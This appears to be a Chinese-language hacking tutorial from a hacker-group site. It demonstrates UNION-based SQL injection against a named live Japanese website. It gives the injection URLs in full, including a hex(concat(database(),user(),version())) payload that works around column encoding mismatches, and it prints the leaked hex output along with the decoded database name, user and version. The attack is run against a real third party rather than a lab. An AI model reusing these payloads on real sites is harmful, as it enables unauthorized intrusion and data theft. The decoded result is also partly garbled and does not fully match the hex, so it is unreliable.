[實例] 簡單搞定聯合查詢注入字段間編碼不同無法顯示內容問題

作者:YoCo Smart
來自:習科信息技術 Silic Group
http://blackbap.org
注入的時候往往能碰到這樣一種情況:有顯示位,但是無法顯示內容,甚至連database()都無法顯示。今天找到一個絕好的例子來講這樣的一種情況。
注入點:http://www.tkfd.or.jp/research/theme/index.php?id=1
導致這種情況出現的原因是當union聯合起兩個字段的時候,字段之間的編碼不同,導致執行失敗而無法顯示。解決這種問題的方法很簡單,就是用hex()來解決。
根據猜解,這個注入點的字段數爲7,這樣的話,我們就構造注入語句如下:
http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7/*
雖然有7個字段,但是並不是7個字段都有顯示,只有6號位置能顯示內容。如圖:



首先測試一下,看一下數據庫名稱:
http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,database(),7/*
但是系統顯示執行失敗了:



既然顯示位能顯示6但是卻不能顯示database()那說明問題八成是出在字段編碼格式上面。
很簡單的解決方法,使用hex()將原本要查詢的內容括起來再執行就可以了,然後將得到的東西格式手動轉換一下格式。
這樣最後的查詢語句就是:
http://www.tkfd.or.jp/research/theme/index.php?id=1+and+1=2+union+select+1,2,3,4,5,hex(concat(database(),0x5f5f,user(),0x5f5f,version())),7/*



得到的回顯如下:
73716C5F64625F66752E6D79382E73756974652E6A70406463362E65746975732E6A705F342E312E31322D6C6F67
格式轉換一下就是:
[email protected]__4.1.12-log
注*前面查詢語句裏的0x5f就是最終回顯裏的兩個下劃線“__”
很容易就得到如下信息,
當前數據庫名稱爲:ql_db
當前數據庫用戶:[email protected]
數據庫版本:4.1.12-log
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章